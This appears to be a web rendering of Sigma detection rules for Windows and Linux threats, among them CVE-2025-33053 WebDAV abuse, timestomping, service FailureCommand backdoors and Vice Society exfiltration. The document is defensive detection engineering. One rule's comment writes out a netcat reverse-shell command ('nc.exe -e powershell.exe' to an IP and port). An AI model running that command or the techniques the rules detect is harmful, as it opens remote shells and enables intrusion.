#Detects potential exploitation of remote code execution vulnerability CVE-2025-33053 which involves unauthorized code execution via WebDAV through external control of file names or paths. The exploit abuses legitimate utilities like iediagcmd.exe or CustomShellHost.exe by manipulating their working directories to point to attacker-controlled WebDAV servers, causing them to execute malicious executables (like route.exe) from the WebDAV path instead of legitimate system binaries through Process.Start() search order manipulation.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth | |
| Command & Control |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
Rule Body
title: Potential Exploitation of RCE Vulnerability CVE-2025-33053
id: abe06362-a5b9-4371-8724-ebd00cd48a04
related:
- id: 9a2d8b3e-f5a1-4c68-9e21-7d9e1cf8a123
type: similar
- id: 04fc4b22-91a6-495a-879d-0144fec5ec03
type: similar
status: experimental
description: |
Detects potential exploitation of remote code execution vulnerability CVE-2025-33053
which involves unauthorized code execution via WebDAV through external control of file names or paths.
The exploit abuses legitimate utilities like iediagcmd.exe or CustomShellHost.exe by manipulating
their working directories to point to attacker-controlled WebDAV servers, causing them to execute
malicious executables (like route.exe) from the WebDAV path instead of legitimate system binaries
through Process.Start() search order manipulation.
references:
- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053
- https://research.checkpoint.com/2025/stealth-falcon-zero-day/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-06-13
tags:
- attack.command-and-control
- attack.execution
- attack.stealth
- attack.t1218
- attack.lateral-movement
- attack.t1105
- detection.emerging-threats
- cve.2025-33053
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage:
- 'C:\Program Files\internet explorer\iediagcmd.exe'
- 'C:\Windows\System32\CustomShellHost.exe'
selection_child_current_dir:
- CurrentDirectory|startswith: '\\\\'
- CurrentDirectory|contains: '\DavWWWRoot\'
- Image|contains: '\DavWWWRoot\'
- Image|startswith: '\\\\'
selection_child_img:
Image|endswith:
- '\route.exe'
- '\netsh.exe'
- '\makecab.exe'
- '\dxdiag.exe'
- '\ipconfig.exe'
- '\explorer.exe'
filter_main_system:
Image|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
condition: all of selection_* and not 1 of filter_main_*
falsepositives:
- Unknown
level: high
Stages and Predicates
Stage 0: condition
all of selection_* and not 1 of filter_main_*Stage 1: selection_parent
selection_parent:
ParentImage:
- 'C:\Program Files\internet explorer\iediagcmd.exe'
- 'C:\Windows\System32\CustomShellHost.exe'
Stage 2: selection_child_current_dir
selection_child_current_dir:
- CurrentDirectory|startswith: '\\\\'
- CurrentDirectory|contains: '\DavWWWRoot\'
- Image|contains: '\DavWWWRoot\'
- Image|startswith: '\\\\'
Stage 3: selection_child_img
selection_child_img:
Image|endswith:
- '\route.exe'
- '\netsh.exe'
- '\makecab.exe'
- '\dxdiag.exe'
- '\ipconfig.exe'
- '\explorer.exe'
Stage 4: not filter_main_system
filter_main_system:
Image|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
CurrentDirectory | match |
| field:"CurrentDirectory" kind:match value:"\DavWWWRoot\" |
CurrentDirectory | starts_with |
| field:"CurrentDirectory" kind:starts_with value:"\\\\" |
Image | ends_with |
| field:"Image" kind:ends_with |
Image | match |
| field:"Image" kind:match value:"\DavWWWRoot\" |
Image | starts_with |
| field:"Image" kind:starts_with value:"\\\\" |
ParentImage | eq |
| field:"ParentImage" kind:eq |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
Image | starts_with | C:\Windows\SysWOW64\ | excludes:Image field:"Image" value:"C:\Windows\SysWOW64\" |
Image | starts_with | C:\Windows\System32\ | excludes:Image field:"Image" value:"C:\Windows\System32\" |
Potential PowerShell Command Line Obfuscation
#Detects the PowerShell command lines with special characters
Known False Positives
- Amazon SSM Document Worker
- Windows Defender ATP
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Stealth |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
Rule Body
title: Potential PowerShell Command Line Obfuscation
id: d7bcd677-645d-4691-a8d4-7a5602b780d1
status: test
description: Detects the PowerShell command lines with special characters
references:
- https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64
author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)
date: 2020-10-15
modified: 2024-04-15
tags:
- attack.execution
- attack.stealth
- attack.t1027
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_re:
# TODO: Optimize for PySIGMA
- CommandLine|re: '\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+'
- CommandLine|re: '\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{'
- CommandLine|re: '\^.*\^.*\^.*\^.*\^'
- CommandLine|re: '`.*`.*`.*`.*`'
filter_optional_amazonSSM:
ParentImage: C:\Program Files\Amazon\SSM\ssm-document-worker.exe
filter_optional_defender_atp:
CommandLine|contains:
- 'new EventSource("Microsoft.Windows.Sense.Client.Management"'
- 'public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);'
condition: all of selection_* and not 1 of filter_optional_*
falsepositives:
- Amazon SSM Document Worker
- Windows Defender ATP
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters/info.yml
Stages and Predicates
Stage 0: condition
all of selection_* and not 1 of filter_optional_*Stage 1: selection_img
selection_img:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
Stage 2: selection_re
selection_re:
- CommandLine|re: '\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+.*\+'
- CommandLine|re: '\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{.*\{'
- CommandLine|re: '\^.*\^.*\^.*\^.*\^'
- CommandLine|re: '`.*`.*`.*`.*`'
Stage 3: not filter_optional_*
filter_optional_amazonSSM:
ParentImage: C:\Program Files\Amazon\SSM\ssm-document-worker.exe
filter_optional_defender_atp:
CommandLine|contains:
- 'new EventSource("Microsoft.Windows.Sense.Client.Management"'
- 'public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
CommandLine | regex_match |
| field:"CommandLine" kind:regex_match |
Image | ends_with |
| field:"Image" kind:ends_with |
OriginalFileName | eq |
| field:"OriginalFileName" kind:eq |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
CommandLine | match | new EventSource("Microsoft.Windows.Sense.Client.Management" | excludes:CommandLine |
CommandLine | match | public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle); | excludes:CommandLine field:"CommandLine" value:"public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);" |
ParentImage | eq | C:\Program Files\Amazon\SSM\ssm-document-worker.exe | excludes:ParentImage field:"ParentImage" value:"C:\Program Files\Amazon\SSM\ssm-document-worker.exe" |
Powershell Timestomp
#Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.
Known False Positives
- Legitimate admin script
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| PowerShell | Event ID 4104: Creating Scriptblock text (MessageNumber of MessageTotal). |
Rule Body
title: Powershell Timestomp
id: c6438007-e081-42ce-9483-b067fbef33c3
status: test
description: |
Adversaries may modify file time attributes to hide new or changes to existing files.
Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md
- https://www.offensive-security.com/metasploit-unleashed/timestomp/
author: frack113
date: 2021-08-03
modified: 2022-12-25
tags:
- attack.stealth
- attack.t1070.006
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_ioc:
ScriptBlockText|contains:
- '.CreationTime ='
- '.LastWriteTime ='
- '.LastAccessTime ='
- '[IO.File]::SetCreationTime'
- '[IO.File]::SetLastAccessTime'
- '[IO.File]::SetLastWriteTime'
condition: selection_ioc
falsepositives:
- Legitimate admin script
level: medium
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_timestomp/info.yml
Stages and Predicates
Stage 0: condition
selection_iocStage 1: selection_ioc
selection_ioc:
ScriptBlockText|contains:
- '.CreationTime ='
- '.LastWriteTime ='
- '.LastAccessTime ='
- '[IO.File]::SetCreationTime'
- '[IO.File]::SetLastAccessTime'
- '[IO.File]::SetLastWriteTime'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
ScriptBlockText | match |
| field:"ScriptBlockText" kind:match |
Recon Information for Export with PowerShell
#Once established within a system or network, an adversary may use automated techniques for collecting internal data
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Collection |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| PowerShell | Event ID 4104: Creating Scriptblock text (MessageNumber of MessageTotal). |
Rule Body
title: Recon Information for Export with PowerShell
id: a9723fcc-881c-424c-8709-fd61442ab3c3
status: test
description: Once established within a system or network, an adversary may use automated techniques for collecting internal data
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
author: frack113
date: 2021-07-30
modified: 2022-12-25
tags:
- attack.collection
- attack.t1119
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_action:
ScriptBlockText|contains:
- 'Get-Service '
- 'Get-ChildItem '
- 'Get-Process '
selection_redirect:
ScriptBlockText|contains: '> $env:TEMP\'
condition: all of selection*
falsepositives:
- Unknown
level: medium
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export/info.yml
Stages and Predicates
Stage 0: condition
all of selection*Stage 1: selection_action
selection_action:
ScriptBlockText|contains:
- 'Get-Service '
- 'Get-ChildItem '
- 'Get-Process '
Stage 2: selection_redirect
selection_redirect:
ScriptBlockText|contains: '> $env:TEMP\'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
ScriptBlockText | match |
| field:"ScriptBlockText" kind:match |
Reg Add Suspicious Paths
#Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys
Known False Positives
- Rare legitimate add to registry via cli (to these locations)
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Defense Impairment |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
Rule Body
title: Reg Add Suspicious Paths
id: b7e2a8d4-74bb-4b78-adc9-3f92af2d4829
status: test
description: Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys
references:
- https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
- https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md
- https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-19
modified: 2022-10-10
tags:
- attack.persistence
- attack.defense-impairment
- attack.t1112
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_reg:
- Image|endswith: '\reg.exe'
- OriginalFileName: 'reg.exe'
selection_path:
CommandLine|contains:
# Add more suspicious registry locations below
- '\AppDataLow\Software\Microsoft\'
- '\Policies\Microsoft\Windows\OOBE'
- '\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon'
- '\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon'
- '\CurrentControlSet\Control\SecurityProviders\WDigest'
- '\Microsoft\Windows Defender\'
condition: all of selection_*
falsepositives:
- Rare legitimate add to registry via cli (to these locations)
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_reg_susp_paths/info.yml
Stages and Predicates
Stage 0: condition
all of selection_*Stage 1: selection_reg
selection_reg:
- Image|endswith: '\reg.exe'
- OriginalFileName: 'reg.exe'
Stage 2: selection_path
selection_path:
CommandLine|contains:
- '\AppDataLow\Software\Microsoft\'
- '\Policies\Microsoft\Windows\OOBE'
- '\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon'
- '\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon'
- '\CurrentControlSet\Control\SecurityProviders\WDigest'
- '\Microsoft\Windows Defender\'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
CommandLine | match |
| field:"CommandLine" kind:match |
Image | ends_with |
| field:"Image" kind:ends_with value:"\reg.exe" |
OriginalFileName | eq |
| field:"OriginalFileName" kind:eq value:"reg.exe" |
Relevant ClamAV Message
#Detects relevant ClamAV messages
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Resource Development |
Rule Body
title: Relevant ClamAV Message
id: 36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb
status: stable
description: Detects relevant ClamAV messages
references:
- https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml
author: Florian Roth (Nextron Systems)
date: 2017-03-01
tags:
- attack.resource-development
- attack.t1588.001
logsource:
product: linux
service: clamav
detection:
keywords:
- 'Trojan*FOUND'
- 'VirTool*FOUND'
- 'Webshell*FOUND'
- 'Rootkit*FOUND'
- 'Htran*FOUND'
condition: keywords
falsepositives:
- Unknown
level: high
Stages and Predicates
Stage 0: condition
keywordsStage 1: keywords
keywords:
- 'Trojan*FOUND'
- 'VirTool*FOUND'
- 'Webshell*FOUND'
- 'Rootkit*FOUND'
- 'Htran*FOUND'
Service abuse with backdoored "command failure" (Reg via PowerShell)
#Detects scenarios where an attacker modify the configuration of a service to trigger an action when the service is crashed.
Known False Positives
- administrator reconfiguring service
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Telemetry Coverage
Rule Body
title: Service abuse with backdoored "command failure" (Reg via PowerShell)
description: Detects scenarios where an attacker modify the configuration of a service to trigger an action when the service is crashed.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://twitter.com/JohnLaTwC/status/1432689635122159623?s=09
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742019(v=ws.11)
- https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
product: windows
category:
- ps_module
- ps_classic_script
- ps_script
detection: # Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\xboxgip -name FailureCommand -value "C:\nc.exe -e powershell.exe 10.10.14.26 4447"
selection_powershell_native:
EventID: 800
EventData|contains|all:
- '-ItemProperty' # Can be New-* or Set-*
- '\SYSTEM\CurrentControlSet\Services\'
- FailureCommand
selection_powershell_modern:
EventID: 4103
Payload|contains|all:
- '-ItemProperty' # Can be New-* or Set-*
- '\SYSTEM\CurrentControlSet\Services\'
- FailureCommand
selection_powershell_block:
EventID: 4104
ScriptBlockText|contains|all:
- '-ItemProperty' # Can be New-* or Set-*
- '\SYSTEM\CurrentControlSet\Services\'
- FailureCommand
condition: 1 of selection*
falsepositives:
- administrator reconfiguring service
level: high
Stages and Predicates
Stage 0: condition
1 of selection*Stage 1: selection_powershell_native
selection_powershell_native:
EventID: 800
EventData|contains|all:
- '-ItemProperty'
- '\SYSTEM\CurrentControlSet\Services\'
- FailureCommand
Stage 2: selection_powershell_modern
selection_powershell_modern:
EventID: 4103
Payload|contains|all:
- '-ItemProperty'
- '\SYSTEM\CurrentControlSet\Services\'
- FailureCommand
Stage 3: selection_powershell_block
selection_powershell_block:
EventID: 4104
ScriptBlockText|contains|all:
- '-ItemProperty'
- '\SYSTEM\CurrentControlSet\Services\'
- FailureCommand
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
EventData | match |
| field:"EventData" kind:match |
Payload | match |
| field:"Payload" kind:match |
ScriptBlockText | match |
| field:"ScriptBlockText" kind:match |
Suspicious RazerInstaller Explorer Subprocess
#Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM
Known False Positives
- User selecting a different installation folder (check for other sub processes of this explorer.exe process)
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
title: Suspicious RazerInstaller Explorer Subprocess
id: a4eaf250-7dc1-4842-862a-5e71cd59a167
status: test
description: Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM
references:
- https://twitter.com/j0nh4t/status/1429049506021138437
- https://streamable.com/q2dsji
author: Florian Roth (Nextron Systems), Maxime Thiebaut
date: 2021-08-23
modified: 2024-12-01
tags:
- attack.privilege-escalation
- attack.defense-impairment
- attack.t1553
- detection.emerging-threats
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\RazerInstaller.exe'
IntegrityLevel:
- 'System'
- 'S-1-16-16384' # System
filter_main_razer:
Image|startswith: 'C:\Windows\Installer\Razer\Installer\'
condition: selection and not 1 of filter_main_*
falsepositives:
- User selecting a different installation folder (check for other sub processes of this explorer.exe process)
level: high
Stages and Predicates
Stage 0: condition
selection and not 1 of filter_main_*Stage 1: selection
selection:
ParentImage|endswith: '\RazerInstaller.exe'
IntegrityLevel:
- 'System'
- 'S-1-16-16384'
Stage 2: not filter_main_razer
filter_main_razer:
Image|startswith: 'C:\Windows\Installer\Razer\Installer\'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
IntegrityLevel | eq |
| field:"IntegrityLevel" kind:eq |
ParentImage | ends_with |
| field:"ParentImage" kind:ends_with value:"\RazerInstaller.exe" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
Image | starts_with | C:\Windows\Installer\Razer\Installer\ | excludes:Image field:"Image" value:"C:\Windows\Installer\Razer\Installer\" |
Suspicious Service Installed
#Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)
Known False Positives
- Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 13: RegistryEvent (Value Set) |
Rule Body
title: Suspicious Service Installed
id: f2485272-a156-4773-82d7-1d178bc4905b
status: test
description: |
Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.
Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)
references:
- https://web.archive.org/web/20200419024230/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/
author: xknow (@xknow_infosec), xorxes (@xor_xes)
date: 2019-04-08
modified: 2026-06-29
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject:
- 'HKLM\System\CurrentControlSet\Services\NalDrv\ImagePath'
- 'HKLM\System\CurrentControlSet\Services\PROCEXP152\ImagePath'
filter:
Image|endswith:
# Please add the full paths that you use in your environment to tighten the rule
- '\procexp64.exe'
- '\procexp64a.exe'
- '\procexp.exe'
- '\procmon64.exe'
- '\procmon64a.exe'
- '\procmon.exe'
- '\handle.exe'
- '\handle64.exe'
- '\handle64a.exe'
Details|contains: '\WINDOWS\system32\Drivers\PROCEXP152.SYS'
condition: selection and not filter
falsepositives:
- Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it.
level: medium
Stages and Predicates
Stage 0: condition
selection and not filterStage 1: selection
selection:
TargetObject:
- 'HKLM\System\CurrentControlSet\Services\NalDrv\ImagePath'
- 'HKLM\System\CurrentControlSet\Services\PROCEXP152\ImagePath'
Stage 2: not filter
filter:
Image|endswith:
- '\procexp64.exe'
- '\procexp64a.exe'
- '\procexp.exe'
- '\procmon64.exe'
- '\procmon64a.exe'
- '\procmon.exe'
- '\handle.exe'
- '\handle64.exe'
- '\handle64a.exe'
Details|contains: '\WINDOWS\system32\Drivers\PROCEXP152.SYS'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
TargetObject | eq |
| field:"TargetObject" kind:eq |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
Image | ends_with | \handle.exe | excludes:Image field:"Image" value:"\handle.exe" |
Image | ends_with | \handle64.exe | excludes:Image field:"Image" value:"\handle64.exe" |
Image | ends_with | \handle64a.exe | excludes:Image field:"Image" value:"\handle64a.exe" |
Image | ends_with | \procexp.exe | excludes:Image field:"Image" value:"\procexp.exe" |
Image | ends_with | \procexp64.exe | excludes:Image field:"Image" value:"\procexp64.exe" |
Image | ends_with | \procexp64a.exe | excludes:Image field:"Image" value:"\procexp64a.exe" |
Image | ends_with | \procmon.exe | excludes:Image field:"Image" value:"\procmon.exe" |
Image | ends_with | \procmon64.exe | excludes:Image field:"Image" value:"\procmon64.exe" |
Image | ends_with | \procmon64a.exe | excludes:Image field:"Image" value:"\procmon64a.exe" |
Details | match | \WINDOWS\system32\Drivers\PROCEXP152.SYS | excludes:Details field:"Details" value:"\WINDOWS\system32\Drivers\PROCEXP152.SYS" |
Uncommon Child Process Of Conhost.EXE
#Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
title: Uncommon Child Process Of Conhost.EXE
id: 7dc2dedd-7603-461a-bc13-15803d132355
related:
- id: dfa03a09-8b92-4d83-8e74-f72839b1c407
type: similar
status: test
description: Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.
references:
- http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/
author: omkar72
date: 2020-10-25
modified: 2023-12-11
tags:
- attack.stealth
- attack.t1202
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\conhost.exe'
filter_main_conhost:
Image|endswith: ':\Windows\System32\conhost.exe'
filter_main_null:
Image: null
filter_main_empty:
Image: ''
filter_optional_provider:
Provider_Name: 'SystemTraceProvider-Process' # Race condition with SystemTrace doesn't provide all fields.
condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
- Unknown
level: medium
Stages and Predicates
Stage 0: condition
selection and not 1 of filter_main_* and not 1 of filter_optional_*Stage 1: selection
selection:
ParentImage|endswith: '\conhost.exe'
Stage 2: not filter_main_*
filter_main_conhost:
Image|endswith: ':\Windows\System32\conhost.exe'
filter_main_null:
Image: null
filter_main_empty:
Image: ''
Stage 3: not filter_optional_provider
filter_optional_provider:
Provider_Name: 'SystemTraceProvider-Process'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
ParentImage | ends_with |
| field:"ParentImage" kind:ends_with value:"\conhost.exe" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
Image | ends_with | :\Windows\System32\conhost.exe | excludes:Image field:"Image" value:":\Windows\System32\conhost.exe" |
Image | is_null | excludes:Image | |
Provider_Name | eq | SystemTraceProvider-Process | excludes:Provider_Name field:"Provider_Name" value:"SystemTraceProvider-Process" |
User account created by a computer account
#Detects scenarios where an attacker would abuse some privileges while realying host credentials to escalate privileges.
Known False Positives
- Exchange servers
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Stealth |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Security-Auditing | Event ID 4720: A user account was created. |
Rule Body
title: User account created by a computer account
description: Detects scenarios where an attacker would abuse some privileges while realying host credentials to escalate privileges.
references:
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741
tags:
- attack.persistence
- attack.t1136 # user creation
- attack.defense_evesion
- attack.t1036 # masquerading
author: mdecrevoisier
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4720
SubjectUserName|endswith: '$' # Computer account
SubjectUserSid|startswith: 'S-1-5-21-' # SYSTEM account 'S-1-5-18' would trigger a false positive
filter:
TargetUserName|endswith: '$' # covered in another rule: User account creation disguised in a computer account
condition: selection
falsepositives:
- Exchange servers
level: high
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
EventID: 4720
SubjectUserName|endswith: '$'
SubjectUserSid|startswith: 'S-1-5-21-'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
SubjectUserName | ends_with |
| field:"SubjectUserName" kind:ends_with value:"$" |
SubjectUserSid | starts_with |
| field:"SubjectUserSid" kind:starts_with value:"S-1-5-21-" |
Vice Society directory crawling script for data exfiltration (via ps_script)
#Detects data exfiltration performed by the Vice Society ransomware gang using a custom built PowerShell script. More precisely, the script enumerates the volumes mounted on the system, then starts crawling the different directories before initiating the data exfiltration over HTTP by creating multiple different jobs. As PowerShell script block logs the script execution into multiple events, the detection aggregates the different log chunks using the ScriptBlockId and then ensure that at least 3 of the 4 detection strings are found.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Exfiltration |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| PowerShell | Event ID 4104: Creating Scriptblock text (MessageNumber of MessageTotal). |
Rule Body
title: Vice Society directory crawling script for data exfiltration (via ps_script)
description: Detects data exfiltration performed by the Vice Society ransomware gang using a custom built PowerShell script. More precisely, the script enumerates the volumes mounted on the system, then starts crawling the different directories before initiating the data exfiltration over HTTP by creating multiple different jobs. As PowerShell script block logs the script execution into multiple events, the detection aggregates the different log chunks using the ScriptBlockId and then ensure that at least 3 of the 4 detection strings are found.
references:
- https://unit42.paloaltonetworks.com/vice-society-ransomware-powershell/
tags:
- attack.execution
- attack.t1059.001 # Command and Scripting Interpreter: PowerShell
- attack.exfiltration
- attack.t1041 # Exfiltration Over C2 Channel
author: mdecrevoisier
status: stable
logsource:
product: windows
category: ps_script # ID 4104
detection:
selection:
ScriptBlockText|contains|all:
- 'Work( $disk )'
- 'Show( $name )'
- 'CreateJobLocal( $folders )'
- 'fill( [string]$filename )'
condition: selection | count() by ScriptBlockId > 3
falsepositives:
- unknown
level: high
Stages and Predicates
Stage 0: condition
selection | count() by ScriptBlockId > 3Stage 1: selection
selection:
ScriptBlockText|contains|all:
- 'Work( $disk )'
- 'Show( $name )'
- 'CreateJobLocal( $folders )'
- 'fill( [string]$filename )'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
ScriptBlockText | match |
| field:"ScriptBlockText" kind:match |